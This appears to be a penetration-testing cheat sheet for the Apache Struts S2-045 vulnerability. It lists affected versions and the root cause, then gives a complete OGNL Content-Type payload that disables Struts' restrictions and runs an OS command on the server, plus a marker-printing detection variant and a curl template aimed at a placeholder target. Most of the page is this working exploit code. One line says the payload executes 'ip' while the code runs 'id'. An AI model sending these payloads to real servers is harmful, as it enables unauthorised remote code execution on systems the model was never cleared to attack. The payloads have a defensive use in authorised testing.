s2-045-remote-code-execution

S2-045 Remote Code Execution

Affected Versions

Vulnerable Struts versions include:

• 2.3.5 – 2.3.31
• 2.5 – 2.5.10

Root Cause

• Struts evaluates OGNL expressions in the Content-Type header
• Triggered when multipart parsing fails
• OGNL restrictions are bypassed, allowing:
  • Arbitrary Java method execution
  • OS command execution

The vulnerability is in file upload handling, but no upload feature is required to exploit it.

Testing Payloads

Core Exploit Payload (RCE)

%{(#n='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

• Executes ip
• Sends command output in HTTP response

Detection Payload (Safe Testing)

Instead of executing commands, print a marker:

%{(#n='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print('\ntest\n\n'))}

Detection Using Curl

detect.sh

curl --header "Content-Type: [PAYLOAD]" http://TARGET/

Vulnerable Response

test

• Confirms OGNL execution
• No command execution required
• If RCE payload is used, Output of OS command is returned in HTTP response